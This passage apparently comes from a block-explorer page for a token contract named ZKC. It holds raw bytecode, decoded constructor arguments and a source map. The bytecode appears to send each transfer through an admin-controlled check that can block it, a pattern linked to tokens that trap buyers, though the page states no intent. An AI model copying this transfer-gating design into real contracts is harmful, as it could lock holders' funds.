fffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff1681518110611d7057611d6f613270565b5b602001015160f81c60f81b82600283611d899190613443565b6002611d9591906137f1565b81518110611da657611da5613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535082600f60f81b85600c84611de891906137f1565b60208110611df957611df8613270565b5b1a60f81b1660f81c60ff1681518110611e1557611e14613270565b5b602001015160f81c60f81b82600283611e2e9190613443565b6003611e3a91906137f1565b81518110611e4b57611e4a613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053508080600101915050611d06565b50809350505050919050565b60605f8203611ed8576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611fe6565b5f8290505f5b5f8214611f07578080611ef090613824565b915050600a82611f009190613898565b9150611ede565b5f8167ffffffffffffffff811115611f2257611f21612c56565b5b6040519080825280601f01601f191660200182016040528015611f545781602001600182028036833780820191505090505b5090505b5f8514611fdf57600182611f6c91906138c8565b9150600a85611f7b91906138fb565b6030611f8791906137f1565b60f81b818381518110611f9d57611f9c613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600a85611fd89190613898565b9450611f58565b8093505050505b919050565b5f6003825114612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613975565b60405180910390fd5b5f825f8151811061204457612043613270565b5b602002602001015190505f8360018151811061206357612062613270565b5b602002602001015190505f6120928560028151811061208557612084613270565b5b602002602001015161289c565b905060066040516020016120a69190613a13565b60405160208183030381529060405280519060200120836040516020016120cd9190612feb565b6040516020818303038152906040528051906020012014801561217e575060095460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612158573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061217c9190613498565b105b80156121e15750600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20826040516121c49190612feb565b90815260200160405180910390205f9054906101000a900460ff16155b156121f1575f935050505061262a565b5f6007541261240557600460405160200161220c9190613a13565b60405160208183030381529060405280519060200120600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516122609190612feb565b908152602001604051809103902060405160200161227e9190613a13565b60405160208183030381529060405280519060200120036124005780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516122d89190612feb565b90815260200160405180910390205f815481106122f8576122f7613270565b5b905f5260205f2001541015801561230e57505f81115b156123f45780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516123529190612feb565b90815260200160405180910390205f8154811061237257612371613270565b5b905f5260205f20015461238591906138c8565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516123c39190612feb565b90815260200160405180910390205f815481106123e3576123e2613270565b5b905f5260205f2001819055506123ff565b5f935050505061262a565b5b612622565b60066040516020016124179190613a13565b604051602081830303815290604052805190602001208360405160200161243e9190612feb565b6040516020818303038152906040528051906020012014806124b65750600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f208360405161249a9190612feb565b90815260200160405180910390205f9054906101000a900460ff165b6126215780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516124f99190612feb565b90815260200160405180910390205f8154811061251957612518613270565b5b905f5260205f2001541015801561252f57505f81115b156126155780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516125739190612feb565b90815260200160405180910390205f8154811061259357612592613270565b5b905f5260205f2001546125a691906138c8565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516125e49190612feb565b90815260200160405180910390205f8154811061260457612603613270565b5b905f5260205f200181905550612620565b5f935050505061262a565b5b5b600193505050505b919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361267f578060035f82825461267391906137f1565b9250508190555061274f565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612709578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401612700939291906135de565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612796578060035f82825403925050819055506127e1565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161283e9190612b5f565b60405180910390a3505050565b6128558282610db4565b6128985780826040517fe2517d3f00000000000000000000000000000000000000000000000000000000815260040161288f929190613a29565b60405180910390fd5b5050565b5f5f8290505f5f90505f5f90505b8251811015612926575f8382815181106128c7576128c6613270565b5b602001015160f81c60f81b60f81c60ff169050603081101580156128ec575060398111155b15612918576030816128fe91906138c8565b600a8461290b9190613443565b61291591906137f1565b92505b5080806001019150506128aa565b508092505050919050565b5f604051905090565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61297681612942565b8114612980575f5ffd5b50565b5f813590506129918161296d565b92915050565b5f602082840312156129ac576129ab61293a565b5b5f6129b984828501612983565b91505092915050565b5f8115159050919050565b6129d6816129c2565b82525050565b5f6020820190506129ef5f8301846129cd565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612a37826129f5565b612a4181856129ff565b9350612a51818560208601612a0f565b612a5a81612a1d565b840191505092915050565b5f6020820190508181035f830152612a7d8184612a2d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612aae82612a85565b9050919050565b612abe81612aa4565b8114612ac8575f5ffd5b50565b5f81359050612ad981612ab5565b92915050565b5f819050919050565b612af181612adf565b8114612afb575f5ffd5b50565b5f81359050612b0c81612ae8565b92915050565b5f5f60408385031215612b2857612b2761293a565b5b5f612b3585828601612acb565b9250506020612b4685828601612afe565b9150509250929050565b612b5981612adf565b82525050565b5f602082019050612b725f830184612b50565b92915050565b5f5f5f60608486031215612b8f57612b8e61293a565b5b5f612b9c86828701612acb565b9350506020612bad86828701612acb565b9250506040612bbe86828701612afe565b9150509250925092565b5f819050919050565b612bda81612bc8565b82525050565b5f602082019050612bf35f830184612bd1565b92915050565b612c0281612bc8565b8114612c0c575f5ffd5b50565b5f81359050612c1d81612bf9565b92915050565b5f60208284031215612c3857612c3761293a565b5b5f612c4584828501612c0f565b91505092915050565b5f5ffd5b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612c8c82612a1d565b810181811067ffffffffffffffff82111715612cab57612caa612c56565b5b80604052505050565b5f612cbd612931565b9050612cc98282612c83565b919050565b5f67ffffffffffffffff821115612ce857612ce7612c56565b5b612cf182612a1d565b9050602081019050919050565b828183375f83830152505050565b5f612d1e612d1984612cce565b612cb4565b905082815260208101848484011115612d3a57612d39612c52565b5b612d45848285612cfe565b509392505050565b5f82601f830112612d6157612d60612c4e565b5b8135612d71848260208601612d0c565b91505092915050565b5f60208284031215612d8f57612d8e61293a565b5b5f82013567ffffffffffffffff811115612dac57612dab61293e565b5b612db884828501612d4d565b91505092915050565b5f5f60408385031215612dd757612dd661293a565b5b5f612de485828601612c0f565b9250506020612df585828601612acb565b9150509250929050565b5f60ff82169050919050565b612e1481612dff565b82525050565b5f602082019050612e2d5f830184612e0b565b92915050565b5f819050919050565b612e4581612e33565b8114612e4f575f5ffd5b50565b5f81359050612e6081612e3c565b92915050565b5f60208284031215612e7b57612e7a61293a565b5b5f612e8884828501612e52565b91505092915050565b5f60208284031215612ea657612ea561293a565b5b5f612eb384828501612acb565b91505092915050565b5f5f60408385031215612ed257612ed161293a565b5b5f83013567ffffffffffffffff811115612eef57612eee61293e565b5b612efb85828601612d4d565b9250506020612f0c85828601612afe565b9150509250929050565b5f5f60408385031215612f2c57612f2b61293a565b5b5f612f3985828601612acb565b9250506020612f4a85828601612acb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612f9857607f821691505b602082108103612fab57612faa612f54565b5b50919050565b5f81905092915050565b5f612fc5826129f5565b612fcf8185612fb1565b9350612fdf818560208601612a0f565b80840191505092915050565b5f612ff68284612fbb565b915081905092915050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261305d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82613022565b6130678683613022565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6130a261309d61309884612adf565b61307f565b612adf565b9050919050565b5f819050919050565b6130bb83613088565b6130cf6130c7826130a9565b84845461302e565b825550505050565b5f5f905090565b6130e66130d7565b6130f18184846130b2565b505050565b5b81811015613114576131095f826130de565b6001810190506130f7565b5050565b601f8211156131595761312a81613001565b61313384613013565b81016020851015613142578190505b61315661314e85613013565b8301826130f6565b50505b505050565b5f82821c905092915050565b5f6131795f198460080261315e565b1980831691505092915050565b5f613191838361316a565b9150826002028217905092915050565b6131aa826129f5565b67ffffffffffffffff8111156131c3576131c2612c56565b5b6131cd8254612f81565b6131d8828285613118565b5f60209050601f831160018114613209575f84156131f7578287015190505b6132018582613186565b865550613268565b601f19841661321786613001565b5f5b8281101561323e57848901518255600182019150602085019450602081019050613219565b8683101561325b5784890151613257601f89168261316a565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561331f578086048111156132fb576132fa61329d565b5b600185161561330a5780820291505b8081029050613318856132ca565b94506132df565b94509492505050565b5f8261333757600190506133f2565b81613344575f90506133f2565b816001811461335a576002811461336457613393565b60019150506133f2565b60ff8411156133765761337561329d565b5b8360020a91508482111561338d5761338c61329d565b5b506133f2565b5060208310610133831016604e8410600b84101617156133c85782820a9050838111156133c3576133c261329d565b5b6133f2565b6133d584848460016132d6565b925090508184048111156133ec576133eb61329d565b5b81810290505b9392505050565b5f61340382612adf565b915061340e83612dff565b925061343b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613328565b905092915050565b5f61344d82612adf565b915061345883612adf565b925082820261346681612adf565b9150828204841483151761347d5761347c61329d565b5b5092915050565b5f8151905061349281612ae8565b92915050565b5f602082840312156134ad576134ac61293a565b5b5f6134ba84828501613484565b91505092915050565b5f815490506134d181612f81565b9050919050565b5f819050815f5260205f209050919050565b8181036134f85750506135cd565b613501826134c3565b67ffffffffffffffff81111561351a57613519612c56565b5b6135248254612f81565b61352f828285613118565b5f601f83116001811461355c575f841561354a578287015490505b6135548582613186565b8655506135c6565b601f19841661356a876134d8565b965061357586613001565b5f5b8281101561359c57848901548255600182019150600185019450602081019050613577565b868310156135b957848901546135b5601f89168261316a565b8355505b6001600288020188555050505b5050505050505b565b6135d881612aa4565b82525050565b5f6060820190506135f15f8301866135cf565b6135fe6020830185612b50565b61360b6040830184612b50565b949350505050565b5f6020820190506136265f8301846135cf565b92915050565b7f496e76616c69642061646472657373206c656e677468000000000000000000005f82015250565b5f6136606016836129ff565b915061366b8261362c565b602082019050919050565b5f6020820190508181035f83015261368d81613654565b9050919050565b5f61369e82612a85565b91506136a983612a85565b9250828203905073ffffffffffffffffffffffffffffffffffffffff8111156136d5576136d461329d565b5b92915050565b7f496e76616c69642063686172616374657220696e2061646472657373207374725f8201527f696e672e00000000000000000000000000000000000000000000000000000000602082015250565b5f6137356024836129ff565b9150613740826136db565b604082019050919050565b5f6020820190508181035f83015261376281613729565b9050919050565b5f61377382612a85565b915061377e83612a85565b925082820261378c81612a85565b915082820484148315176137a3576137a261329d565b5b5092915050565b5f6137b482612a85565b91506137bf83612a85565b9250828201905073ffffffffffffffffffffffffffffffffffffffff8111156137eb576137ea61329d565b5b92915050565b5f6137fb82612adf565b915061380683612adf565b925082820190508082111561381e5761381d61329d565b5b92915050565b5f61382e82612adf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036138605761385f61329d565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6138a282612adf565b91506138ad83612adf565b9250826138bd576138bc61386b565b5b828204905092915050565b5f6138d282612adf565b91506138dd83612adf565b92508282039050818111156138f5576138f461329d565b5b92915050565b5f61390582612adf565b915061391083612adf565b9250826139205761391f61386b565b5b828206905092915050565b7f496e76616c696420706172616d6574657220636f756e740000000000000000005f82015250565b5f61395f6017836129ff565b915061396a8261392b565b602082019050919050565b5f6020820190508181035f83015261398c81613953565b9050919050565b5f815461399f81612f81565b6139a98186612fb1565b9450600182165f81146139c357600181146139d857613a0a565b60ff1983168652811515820286019350613a0a565b6139e185613001565b5f5b83811015613a02578154818901526001820191506020810190506139e3565b838801955050505b50505092915050565b5f613a1e8284613993565b915081905092915050565b5f604082019050613a3c5f8301856135cf565b613a496020830184612bd1565b939250505056fea2646970667358221220540f2b140358c9a47855fb299bfb5e0fda1e9002eb623fed3e83c51f29acc94864736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000077359400000000000000000000000000452d771af8a196ae0385116c2dd84dca1449202f00000000000000000000000000000000000000000000000000000000000000035a4b43000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035a4b430000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): ZKC
Arg [1] : symbol (string): ZKC
Arg [2] : totalSupply (uint256): 2000000000
Arg [3] : hold (address): 0x452d771Af8a196AE0385116C2dd84Dca1449202f

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000077359400
Arg [3] : 000000000000000000000000452d771af8a196ae0385116c2dd84dca1449202f
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [5] : 5a4b430000000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 5a4b430000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

44178:244:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9296:280;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29396:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31730:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30498:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32530:283;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26855:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10693:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28490:187;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11125:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30349:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12326:274;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27765:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27165:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28685:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28176:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30660:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28297:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27959:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27282:356;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9668:179;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29606:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27858:93;;;:::i;:::-;;30983:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26916:56;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26981:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28052:116;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8907:46;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11588:172;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31228:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27646:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9296:280;9426:4;9483:32;9468:47;;;:11;:47;;;;:100;;;;9532:36;9556:11;9532:23;:36::i;:::-;9468:100;9448:120;;9296:280;;;:::o;29396:91::-;29441:13;29474:5;29467:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29396:91;:::o;31730:222::-;31830:4;31852:13;31868:12;:10;:12::i;:::-;31852:28;;31891:31;31900:5;31907:7;31916:5;31891:8;:31::i;:::-;31940:4;31933:11;;;31730:222;;;;:::o;30498:99::-;30550:7;30577:12;;30570:19;;30498:99;:::o;32530:283::-;32651:4;32668:15;32686:12;:10;:12::i;:::-;32668:30;;32709:37;32725:4;32731:7;32740:5;32709:15;:37::i;:::-;32757:26;32767:4;32773:2;32777:5;32757:9;:26::i;:::-;32801:4;32794:11;;;32530:283;;;;;:::o;26855:54::-;26889:20;26855:54;:::o;10693:122::-;10758:7;10785:6;:12;10792:4;10785:12;;;;;;;;;;;:22;;;10778:29;;10693:122;;;:::o;28490:187::-;28609:13;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;28647:7:::1;:17;26951:21;28647:17;;;;;;;;;;;28665:3;28647:22;;;;;;:::i;:::-;;;;;;;;;;;;;28640:29;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28490:187:::0;;;;:::o;11125:170::-;11226:18;11239:4;11226:12;:18::i;:::-;9188:16;9199:4;9188:10;:16::i;:::-;11262:25:::1;11273:4;11279:7;11262:10;:25::i;:::-;;11125:170:::0;;;:::o;30349:84::-;30398:5;30423:2;30416:9;;30349:84;:::o;12326:274::-;12465:12;:10;:12::i;:::-;12443:34;;:18;:34;;;12439:104;;12501:30;;;;;;;;;;;;;;12439:104;12555:37;12567:4;12573:18;12555:11;:37::i;:::-;;12326:274;;:::o;27765:85::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;27841:1:::1;27833:5;:9;;;;27765:85:::0;;:::o;27165:109::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;27262:4:::1;27240:7;:16;26889:20;27240:16;;;;;;;;;;;27257:1;27240:19;;;;;;:::i;:::-;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;27165:109:::0;;:::o;28685:176::-;28803:4;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;28832:7:::1;:16;26889:20;28832:16;;;;;;;;;;;28849:3;28832:21;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;28825:28;;28685:176:::0;;;;:::o;28176:113::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;28254:27:::1;;;;;;;;;;;::::0;:7:::1;:17;26951:21;28254:17;;;;;;;;;;;28272:3;28254:22;;;;;;:::i;:::-;;;;;;;;;;;;;:27;;;;;;:::i;:::-;;28176:113:::0;;:::o;30660:118::-;30725:7;30752:9;:18;30762:7;30752:18;;;;;;;;;;;;;;;;30745:25;;30660:118;;;:::o;28297:185::-;28418:7;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;28450:6:::1;:16;26951:21;28450:16;;;;;;;;;;;28467:3;28450:21;;;;;;:::i;:::-;;;;;;;;;;;;;28472:1;28450:24;;;;;;;;:::i;:::-;;;;;;;;;;28443:31;;28297:185:::0;;;;:::o;27959:85::-;28005:7;28032:4;;28025:11;;27959:85;:::o;27282:356::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;27394:21:::1;27422:10;:8;:10::i;:::-;27418:2;:14;;;;:::i;:::-;27394:38;;27479:1;27447:6;:16;26951:21;27447:16;;;;;;;;;;;27464:3;27447:21;;;;;;:::i;:::-;;;;;;;;;;;;;:28;;;;:33:::0;27443:188:::1;;27497:6;:16;26951:21;27497:16;;;;;;;;;;;27514:3;27497:21;;;;;;:::i;:::-;;;;;;;;;;;;;27528:13;27524:1;:17;;;;:::i;:::-;27497:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27443:188;;;27606:13;27602:1;:17;;;;:::i;:::-;27575:6;:16;26951:21;27575:16;;;;;;;;;;;27592:3;27575:21;;;;;;:::i;:::-;;;;;;;;;;;;;27597:1;27575:24;;;;;;;;:::i;:::-;;;;;;;;;:44;;;;27443:188;27383:255;27282:356:::0;;;:::o;9668:179::-;9781:4;9810:6;:12;9817:4;9810:12;;;;;;;;;;;:20;;:29;9831:7;9810:29;;;;;;;;;;;;;;;;;;;;;;;;;9803:36;;9668:179;;;;:::o;29606:95::-;29653:13;29686:7;29679:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29606:95;:::o;27858:93::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;27927:2:::1;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27920:4;:23;;;;27858:93:::0;:::o;30983:182::-;31052:4;31069:13;31085:12;:10;:12::i;:::-;31069:28;;31108:27;31118:5;31125:2;31129:5;31108:9;:27::i;:::-;31153:4;31146:11;;;30983:182;;;;:::o;26916:56::-;26951:21;26916:56;:::o;26981:176::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;27072:4:::1;27062:7;:14;;;;;;:::i;:::-;;27112:4;27087:7;:16;26889:20;27087:16;;;;;;;;;;;27104:4;27087:22;;;;;;:::i;:::-;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;27139:9;27143:4;27139:3;:9::i;:::-;27127:2;;:22;;;;;;;;;;;;;;;;;;26981:176:::0;;:::o;28052:116::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;28155:5:::1;28130:7;:17;26951:21;28130:17;;;;;;;;;;;28148:3;28130:22;;;;;;:::i;:::-;;;;;;;;;;;;;:30;;;;;;:::i;:::-;;28052:116:::0;;:::o;8907:46::-;8949:4;8907:46;;;:::o;11588:172::-;11690:18;11703:4;11690:12;:18::i;:::-;9188:16;9199:4;9188:10;:16::i;:::-;11726:26:::1;11738:4;11744:7;11726:11;:26::i;:::-;;11588:172:::0;;;:::o;31228:183::-;31344:7;31376:11;:18;31388:5;31376:18;;;;;;;;;;;;;;;:27;31395:7;31376:27;;;;;;;;;;;;;;;;31369:34;;31228:183;;;;:::o;27646:111::-;26889:20;9188:16;9199:4;9188:10;:16::i;:::-;27744:5:::1;27722:7;:16;26889:20;27722:16;;;;;;;;;;;27739:1;27722:19;;;;;;:::i;:::-;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;27646:111:::0;;:::o;6564:189::-;6676:4;6720:25;6705:40;;;:11;:40;;;;6698:47;;6564:189;;;:::o;4421:98::-;4474:7;4501:10;4494:17;;4421:98;:::o;41654:164::-;41773:37;41782:5;41789:7;41798:5;41805:4;41773:8;:37::i;:::-;41654:164;;;:::o;43447:603::-;43581:24;43608:25;43618:5;43625:7;43608:9;:25::i;:::-;43581:52;;43668:17;43648:16;:37;43644:399;;43725:5;43706:16;:24;43702:214;;;43807:7;43837:16;43876:5;43758:142;;;;;;;;;;;;;:::i;:::-;;;;;;;;43702:214;43959:57;43968:5;43975:7;44003:5;43984:16;:24;44010:5;43959:8;:57::i;:::-;43644:399;43570:480;43447:603;;;:::o;33198:630::-;33332:1;33316:18;;:4;:18;;;33312:88;;33385:1;33358:30;;;;;;;;;;;:::i;:::-;;;;;;;;33312:88;33428:1;33414:16;;:2;:16;;;33410:88;;33483:1;33454:32;;;;;;;;;;;:::i;:::-;;;;;;;;33410:88;33510:22;33548:1;33535:15;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33510:40;;33573:9;33577:4;33573:3;:9::i;:::-;33561:6;33568:1;33561:9;;;;;;;;:::i;:::-;;;;;;;:21;;;;33605:7;33609:2;33605:3;:7::i;:::-;33593:6;33600:1;33593:9;;;;;;;;:::i;:::-;;;;;;;:19;;;;33635:15;33644:5;33635:8;:15::i;:::-;33623:6;33630:1;33623:9;;;;;;;;:::i;:::-;;;;;;;:27;;;;33666:16;33675:6;33666:8;:16::i;:::-;33661:34;;33685:8;;;33661:34;33705:24;33713:4;33719:2;33723:5;33705:7;:24::i;:::-;33768:1;33750:7;33744:21;;;;;:::i;:::-;;;:25;33740:81;;;33793:2;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;33786:4;:23;;;;33740:81;33301:527;33198:630;;;:::o;10062:105::-;10129:30;10140:4;10146:12;:10;:12::i;:::-;10129:10;:30::i;:::-;10062:105;:::o;13226:356::-;13330:4;13357:22;13365:4;13371:7;13357;:22::i;:::-;13352:223;;13428:4;13396:6;:12;13403:4;13396:12;;;;;;;;;;;:20;;:29;13417:7;13396:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;13479:12;:10;:12::i;:::-;13452:40;;13470:7;13452:40;;13464:4;13452:40;;;;;;;;;;13514:4;13507:11;;;;13352:223;13558:5;13551:12;;13226:356;;;;;:::o;13826:357::-;13931:4;13957:22;13965:4;13971:7;13957;:22::i;:::-;13953:223;;;14028:5;13996:6;:12;14003:4;13996:12;;;;;;;;;;;:20;;:29;14017:7;13996:29;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;14080:12;:10;:12::i;:::-;14053:40;;14071:7;14053:40;;14065:4;14053:40;;;;;;;;;;14115:4;14108:11;;;;13953:223;14159:5;14152:12;;13826:357;;;;;:::o;34146:733::-;34199:7;34219:14;34242:1;34219:25;;34275:2;34263:1;:8;:14;34255:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;34317:14;34334:1;34317:18;;34351:9;34363:1;34351:13;;34346:491;34370:2;34366:1;:6;34346:491;;;34394:13;34424:1;34426;34424:4;;;;;;;;:::i;:::-;;;;;;;;;;34418:11;;34410:20;;34394:36;;34460:2;34451:5;:11;;;;:26;;;;;34475:2;34466:5;:11;;;;34451:26;34447:334;;;34507:2;34498:11;;;;;:::i;:::-;;;34447:334;;;34544:2;34535:5;:11;;;;:26;;;;;34559:2;34550:5;:11;;;;34535:26;34531:250;;;34591:2;34582:11;;;;;:::i;:::-;;;34531:250;;;34628:2;34619:5;:11;;;;:27;;;;;34643:3;34634:5;:12;;;;34619:27;34615:166;;;34676:2;34667:11;;;;;:::i;:::-;;;34615:166;;;34719:46;;;;;;;;;;:::i;:::-;;;;;;;;34615:166;34531:250;34447:334;34820:5;34815:2;34806:6;:11;;;;:::i;:::-;:19;;;;:::i;:::-;34797:28;;34379:458;34374:3;;;;;;;34346:491;;;;34864:6;34849:22;;;;34146:733;;;:::o;42669:486::-;42842:1;42825:19;;:5;:19;;;42821:91;;42897:1;42868:32;;;;;;;;;;;:::i;:::-;;;;;;;;42821:91;42945:1;42926:21;;:7;:21;;;42922:92;;42999:1;42971:31;;;;;;;;;;;:::i;:::-;;;;;;;;42922:92;43054:5;43024:11;:18;43036:5;43024:18;;;;;;;;;;;;;;;:27;43043:7;43024:27;;;;;;;;;;;;;;;:35;;;;43074:9;43070:78;;;43121:7;43105:31;;43114:5;43105:31;;;43130:5;43105:31;;;;;;:::i;:::-;;;;;;;;43070:78;42669:486;;;;:::o;35264:497::-;35315:13;35341;